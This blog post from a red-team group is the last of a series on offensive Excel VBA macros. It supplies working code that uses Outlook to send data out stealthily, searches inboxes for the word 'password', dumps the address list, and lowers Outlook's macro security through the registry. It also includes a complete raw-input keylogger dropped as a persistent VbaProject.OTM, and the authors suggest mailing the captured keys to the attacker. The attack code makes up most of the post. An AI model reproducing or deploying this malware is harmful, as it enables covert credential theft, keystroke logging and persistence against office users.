Dear Fellowlship, today’s homily is the last chapter of our trilogy about our epistolary-daemonic relationship with VBA. This time we are going to talk about how to interact with Outlook from Excel using macros, and also we are going to release a PoC where we turn Outlook into a keylogger. Please, take a seat and listen to the story.
We promise this is the last time @TheXC3LL will publish about VBA. We have scheduled an exorcism this weekend to release his daemons, so he can write again about vulnerabilities and other stuff different to VBA.
In our first chapter we talked about the concept of “Hacking in a epistolary way”, where we started to implement attacks and TTPs directly in VBA macros avoiding process injections, dropping binaries or calling external programs that are flagged (like Powershell). This time we are going to shift our focus to Outlook.
First of all we have to say that you can interact with Outlook directly from other Microsoft Office apps via VBA using the object
Outlook.Application. This means that we can abuse Outlook functionalities from within Excel, so we can look for confidential information inside the inbox or we can exfiltrate data via mails. To send a mail only a few lines are needed:
'https://docs.microsoft.com/es-es/office/vba/api/outlook.namespace Sub send_mail_example() Dim xOutApp As Object Dim xOutMail As Object Dim xMailBody As String Set xOutApp = CreateObject("Outlook.Application") Set xOutMail = xOutApp.CreateItem(0) xMailBody = "You did it!" On Error Resume Next With xOutMail .To = "email@example.com" .CC = "" .BCC = "" .Subject = "Macro executed " & Environ("username") .Body = xMailBody .Send End With On Error GoTo 0 Set xOutMail = Nothing Set xOutApp = Nothing End Sub
If we do not want a copy in the “Sent” folder we can set the property
DeleteAfterSubmit as True after we set the
Body. This will move directly the mail to the Deleted folder, so it is a bit more stealthy. To fully erradicate the mail we need to locate the mail (as item) inside the Deleted folder and then call the method
Remove via MAPI.
Outlook.Application gives us also access to the namespace MAPI and all its methods. This is important because we can interact with the mail boxes without knowing the credentials. For example, we can use our macro to search all the received mails that contains the word “password” in its body:
Sub retrieve_passwords() Dim xOutApp As Object Dim xOutMail As Object Dim xMailBody As String Set xOutApp = CreateObject("Outlook.Application") Set outlNameSpace = xOutApp.GetNamespace("MAPI") Set myTasks = outlNameSpace.GetDefaultFolder(6).Items Dim i As Integer i = 1 For Each olMail In myTasks If (InStr(1, UCase(olMail.Body), "PASSWORD", vbTextCompare) > 0) Then Cells(i, 1) = olMail.Body ' Here we are just showing the info in the Excel sheets, but you can exfiltrate it as we saw before ;D i = i + 1 End If Next Set xOutMail = Nothing Set xOutApp = Nothing End Sub
Plaintext passwords inside mailboxes are probably one of the most common sins we are used to see in our engagements. A macro of this kind aimed to the right target can give you the Heaven’s keys.
Another interesting information that we can get using MAPI is the Global Address List (GAL). In the address list we can find names, usernames, phone numbers, etc. Here we are just collecting usernames:
'https://www.excelcise.org/extract-outlook-global-address-list-details-with-vba/ Sub global_address_list() Dim xOutApp As Object Dim xOutMail As Object Dim xMailBody As String Set xOutApp = CreateObject("Outlook.Application") Set outlNameSpace = xOutApp.GetNamespace("MAPI") Set outlGAL = outlNameSpace.GetGlobalAddressList() Set outlEntry = outlGAL.AddressEntries On Error Resume Next 'loop through address entries and extract details For i = 1 To outlEntry.Count Set outlMember = outlEntry.Item(i) If outlMember.AddressEntryUserType = olExchangeUserAddressEntry Then Cells(i, 1) = outlMember.GetExchangeUser.Name End If Next i Set xOutMail = Nothing Set xOutApp = Nothing End Sub
The main issue is that retrieving this information can take a really long time if the company is big (we are talking about ~5-10 minutes), so it is a bit unpractical to be used in a real scenario. However both approaches can be executed inside Outlook via OTM files as we will see below.
In the last years various persistence methods related to Outlook were released and implemented in the tool Ruler. These methods were based on the execution of VBA code via Custom Forms and Home Pages. Both attacks are now patched, so we have to move forward.
Recently Dominic Chell published the article A Fresh Outlook on Mail Based Persistence where the persistence is achieved dropping a VbaProject.OTM file that is later loaded by Outlook. This is the path that we choosed here. But instead of using a payload to get a shell or parasite a process with our C2, we are going to create a keylogger in pure VBA :).
Outlook is one of the long term alive programs in an average office computer. It is launched since the workday beginning and is not closed until the worker leaves the office, so makes sense to use it as a keylogger. The plan is quite simple: we need to build an Excel file that modifies the registry (so Outlook can execute macros freely) and drops the OTM file with our keylogger.
As the registry key is under
HKEY_CURRENT_USER we do not need special privileges to modify the value (by default it is set at level 3 Notifications for digitally signed macros, all other macros disabled) so we enable the load and execution of macros by changing the value to 1 (Enable all Macros):
Sub disable_macro_security() Dim myWS As Object Set myWS = VBA.CreateObject("WScript.Shell") Dim name As String, value As Integer, stype As String name = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Outlook\Security\Level" value = 1 stype = "REG_DWORD" myWS.RegWrite name, value, stype End Sub
We use the Excel version (
Application.Version) to calculate the right location of the key to be modified. After that the OTM file can be dropped to
Environ("appdata") & "\Microsoft\Outlook\VbaProject.OTM" (it can be packed inside a resource, form, or taken directly from internet and then read/unpack and dropped). It is nothing new, all the good ol’ techniques to drop files apply here, let’s move to the OTM contents and the keylogger.
For our keylogger we are going to use the function
NtUserGetRawInputData that is not documented in the MSDN. But as usual: if something is not covered by Microsoft, go and check ReactOS. Luckily it is documented:
DWORD APIENTRY NtUserGetRawInputData ( HRAWINPUT hRawInput, UINT uiCommand, LPVOID pData, PUINT pcbSize, UINT cbSizeHeader )
Also we can see that it is exported by win32u.dll, so our definition in VBA will be:
Private Declare PtrSafe Function NtUserGetRawInputData Lib "win32u" (ByVal hRawInput As LongPtr, ByVal uiCommand As LongLong, ByRef pData As Any, ByRef pcbSize As Long, ByVal cbSizeHeader As Long) As LongLong
Our approach will be the well-known technique of creating a window with a callback to snoop messages until we get a
WM_INPUT and then use
NtUserGetRawInputData to get the input data. To build the structures correctly (like
RAWKEYBOARD) we can use
offsetof as we described in our article Shedding light on creating VBA macros, so we can check the size of each field and pick VBA types accordingly.
Our macro has to be split in two parts
- The default module
- Another module created by us that we will rename to
ThisOutlookSession we only place the trigger that will execute our payload when Outlook starts:
Sub Application_Startup() Keylogger.launcher End Sub
We need to place the “real” payload inside another module to be allowed to use the operator AddressOf, because we use it to set the callback to our window class. The
Keylogger module code (remember: this is just a PoC that does not handle errors/exceptions, the intention of this code is just to exemplify how to build one):
'This can be hidden using DispCallFunc trick Private Declare PtrSafe Function RegisterClassEx Lib "user32" Alias "RegisterClassExA" (pcWndClassEx As WNDCLASSEX) As Integer Private Declare PtrSafe Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As LongPtr, ByVal hMenu As LongPtr, ByVal hInstance As LongPtr, ByVal lpParam As LongPtr) As LongPtr Private Declare PtrSafe Function DefWindowProc Lib "user32" Alias "DefWindowProcA" (ByVal hwnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr Private Declare PtrSafe Function GetMessage Lib "user32" Alias "GetMessageA" (lpMsg As MSG, ByVal hwnd As LongPtr, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long) As Long Private Declare PtrSafe Function TranslateMessage Lib "user32" (lpMsg As MSG) As Long Private Declare PtrSafe Function DispatchMessage Lib "user32" Alias "DispatchMessageA" (lpMsg As MSG) As LongPtr Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr Private Declare PtrSafe Function RegisterRawInputDevices Lib "user32" (ByRef pRawInputDevices As RAWINPUTDEVICE, ByVal uiNumDevices As Integer, ByVal cbSize As Integer) As Boolean Private Declare PtrSafe Function NtUserGetRawInputData Lib "win32u" (ByVal hRawInput As LongPtr, ByVal uiCommand As LongLong, ByRef pData As Any, ByRef pcbSize As Long, ByVal cbSizeHeader As Long) As LongLong Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr Private Declare PtrSafe Function HeapAlloc Lib "kernel32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, ByVal dwBytes As LongLong) As LongPtr Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByVal Source As LongPtr, ByVal Length As Long) Private Declare PtrSafe Function HeapFree Lib "kernel32" (ByVal hHeap As LongPtr, ByVal dwFlags As Long, lpMem As Any) As Long Private Declare PtrSafe Function GetForegroundWindow Lib "user32" () As LongPtr Private Declare PtrSafe Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As LongPtr) As Long Private Declare PtrSafe Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As LongPtr, ByVal lpString As LongPtr, ByVal cch As Long) As Long Private Declare PtrSafe Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Declare PtrSafe Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long Private Declare PtrSafe Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, ByVal lpwTransKey As LongLong, ByVal fuState As Long) As Long Private Declare PtrSafe Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long Private Type WNDCLASSEX cbSize As Long style As Long lpfnWndProc As LongPtr cbClsExtra As Long cbWndExtra As Long hInstance As LongPtr hIcon As LongPtr hCursor As LongPtr hbrBackground As LongPtr lpszMenuName As String lpszClassName As String hIconSm As LongPtr End Type Private Type POINTAPI x As Long y As Long End Type Private Type MSG hwnd As LongPtr Message As Long wParam As LongPtr lParam As LongPtr time As Long pt As POINTAPI End Type Private Type RAWINPUTDEVICE usUsagePage As Integer usUsage As Integer dwFlags As Long hwndTarget As LongPtr End Type Private Type RAWINPUTHEADER dwType As Long '0-4 = 4 bytes dwSize As Long '4-8 = 4 Bytes hDevice As LongPtr '8-16 = 8 Bytes wParam As LongPtr '16-24 = 8 Bytes End Type Private Type RAWKEYBOARD MakeCode As Integer '0-2 = 2 bytes Flags As Integer '2-4 = 2 bytes Reserved As Integer '4-6 = 2 bytes VKey As Integer '6-8 = 2 bytes Message As Long '8-12 = 4 bytes ExtraInformation As Long '12-16 = 4 bytes End Type Private Type RAWINPUT header As RAWINPUTHEADER data As RAWKEYBOARD End Type Public oldTitle As String Public newTittle As String Public lastKey As Long Public cleaner(0 To 255) As Byte Private Function FunctionPointer(addr As LongPtr) As LongPtr ' https://renenyffenegger.ch/notes/development/languages/VBA/language/operators/addressOf FunctionPointer = addr End Function 'https://www.freevbcode.com/ShowCode.asp?ID=209 Public Function ByteArrayToString(bytArray() As Byte) As String Dim sAns As String Dim iPos As String sAns = StrConv(bytArray, vbUnicode) iPos = InStr(sAns, Chr(0)) If iPos > 0 Then sAns = Left(sAns, iPos - 1) ByteArrayToString = sAns End Function Public Sub launcher() Dim hwnd As LongPtr Dim mesg As MSG Dim wc As WNDCLASSEX Dim result As LongPtr Dim HWND_MESSAGE As Long 'Some initialization for later oldTitle = "AdeptsOf0xCC" lastKey = 0 'First we need to set a window class wc.cbSize = LenB(wc) wc.lpfnWndProc = FunctionPointer(AddressOf WndProc) 'We need to save this code as Module in order to use the AddressOf trick to get the our callback location wc.hInstance = GetModuleHandle(vbNullString) wc.lpszClassName = "VBAHELLByXC3LL" 'Register our class result = RegisterClassEx(wc) 'Create the window so we can snoop messages HWND_MESSAGE = (-3&) hwnd = CreateWindowEx(0, "VBAHELLByXC3LL", 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0&, GetModuleHandle(vbNullString), 0&) End Sub 'Our callback Private Function WndProc(ByVal lhwnd As LongPtr, ByVal tMessage As Long, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr Dim WM_CREATE As Long Dim WM_INPUT As Long Dim WM_KEYDOWN As Long Dim WM_SYSKEYDOWN As Long Dim VK_CAPITAL As Long Dim VK_SCROLL As Long Dim VK_NUMLOCK As Long Dim VK_CONTROL As Long Dim VK_MENU As Long Dim VK_BACK As Long Dim VK_RETURN As Long Dim VK_SHIFT As Long Dim RIDEV_INPUTSINK As Long Dim RIM_TYPEKEYBOARD As Long Dim rid(50) As RAWINPUTDEVICE Dim RawInputHeader_ As RAWINPUTHEADER Dim dwSize As Long Dim fgWindow As LongPtr Dim wSize As Long Dim fgTitle() As Byte Dim wKey As Integer Dim result As Long WM_CREATE = &H1 WM_INPUT = &HFF WM_KEYDOWN = &H100 WM_SYSKEYDOWN = &H104 VK_CAPITAL = &H14 VK_SCROLL = &H91 VK_NUMLOCK = &H90 VK_CONTROL = &H11 VK_MENU = &H12 VK_BACK = &H8 VK_RETURN = &HD VK_SHIFT = &H10 RIDEV_INPUTSINK = &H100 RIM_TYPEKEYBOARD = &H1& 'Check the message type and trigger an action if needed Select Case tMessage Case WM_CREATE ' Register us rid(0).usUsagePage = &H1 rid(0).usUsage = &H6 rid(0).dwFlags = RIDEV_INPUTSINK rid(0).hwndTarget = lhwnd r = RegisterRawInputDevices(rid(0), 1, LenB(rid(0))) Case WM_INPUT Dim pbuffer() As Byte Dim buffer As RAWINPUT 'First we get the size r = NtUserGetRawInputData(lParam, &H10000003, vbNullString, dwSize, LenB(RawInputHeader_)) ReDim pbuffer(0 To dwSize - 1) 'And then we save the data r = NtUserGetRawInputData(lParam, &H10000003, pbuffer(0), dwSize, LenB(RawInputHeader_)) If r <> 0 Then 'VBA hacky things to cast the data into a RAWINPUT struct Call CopyMemory(buffer, VarPtr(pbuffer(0)), dwSize) If (buffer.header.dwType = RIM_TYPEKEYBOARD) And (buffer.data.Message = WM_KEYDOWN) Or (buffer.data.Message = WM_SYSKEYDOWN) Then 'Check the window title to know where the key was sent 'We want to know if the title is the same, so when we add this info to our mail we don't paste a title per key 'Just one title and all the keys related ;) fgWindow = GetForegroundWindow() wSize = GetWindowTextLength(fgWindow) + 1 ReDim fgTitle(0 To wSize - 1) r = GetWindowText(fgWindow, VarPtr(fgTitle(0)), wSize) newTitle = ByteArrayToString(fgTitle) If newTitle <> oldTitle Then oldTitle = newTitle End If GetKeyState (VK_CAPITAL) GetKeyState (VK_SCROLL) GetKeyState (VK_NUMLOCK) GetKeyState (VK_CONTROL) GetKeyState (VK_MENU) Dim lpKeyboard(0 To 255) As Byte r = GetKeyboardState(lpKeyboard(0)) Select Case buffer.data.VKey Case VK_BACK exfil = exfil & "[<]" Case VK_RETURN exfil = exfil & vbNewLine Case Else 'Something funny undocumented: ToAscii "breaks" the keyboard status, so we need to perform this shitty thing to "fix" it 'Dealing with deadkeys is a pain in the ass T_T (á, é, í, ó, ú...) result = ToAscii(buffer.data.VKey, MapVirtualKey(buffer.data.VKey, 0), lpKeyboard(0), VarPtr(wKey), 0) If result = -1 Then lastKey = buffer.data.VKey Do While ToAscii(buffer.data.VKey, MapVirtualKey(buffer.data.VKey, 0), lpKeyboard(0), VarPtr(wKey), 0) < 0 Loop Else If wKey < 256 Then MsgBox Chr(wKey), 0, oldTitle End If If lastKey <> 0 Then Call CopyMemory(lpKeyboard(0), VarPtr(cleaner(0)), 256) result = ToAscii(lastKey, MapVirtualKey(buffer.data.VKey, 0), lpKeyboard(0), VarPtr(wKey), 0) lastKey = 0 End If End If End Select End If End If Case Else WndProc = DefWindowProc(lhwnd, tMessage, wParam, lParam) End Select End Function
After filling both modules we save the project and we embed the VbaProject.OTM file inside our Excel. Next time Outlook is started (after the Excel macro changes the registry and drops the OTM) will execute our malicious VBA code, turning Outlook into a keylogger. Of course Outlook keeps working as usual.
Here we can see how it is getting the keys pressed in Remote Desktop (yep, the PoC uses MsgBox because it is Christmas and we are lazy, you can change it to send you the keys via mail as was shown before ;D)
And the trilogy ends. No more VBA for a time, we promise it!
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.